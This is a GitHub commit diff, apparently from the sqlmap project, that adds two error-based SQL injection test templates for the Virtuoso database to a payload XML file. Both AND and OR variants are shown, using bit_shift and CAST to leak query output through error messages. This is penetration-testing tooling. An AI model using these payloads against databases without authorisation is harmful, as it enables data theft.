You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
Commit ca608da
Browse filesBrowse the repository at this point in the historyBrowse files
Copy file name to clipboardExpand all lines: data/xml/payloads/error_based.xml
+39Lines changed: 39 additions & 0 deletions
Original file line number
Diff line number
Diff line change
@@ -958,6 +958,45 @@
958
958
</details>
959
959
</test>
960
960
961
+
<test>
962
+
<title>Virtuoso AND error-based - WHERE or HAVING clause</title>
963
+
<stype>2</stype>
964
+
<level>5</level>
965
+
<risk>1</risk>
966
+
<clause>1</clause>
967
+
<where>1</where>
968
+
<!-- bit_shift (Virtuoso-exclusive) encloses the value-bearing INTEGER cast: reflects on Virtuoso, fails to bind elsewhere -->
969
+
<vector>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
970
+
<request>
971
+
<payload>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
<title>Virtuoso OR error-based - WHERE or HAVING clause</title>
983
+
<stype>2</stype>
984
+
<level>5</level>
985
+
<risk>3</risk>
986
+
<clause>1</clause>
987
+
<where>2</where>
988
+
<vector>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
989
+
<request>
990
+
<payload>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
0 commit comments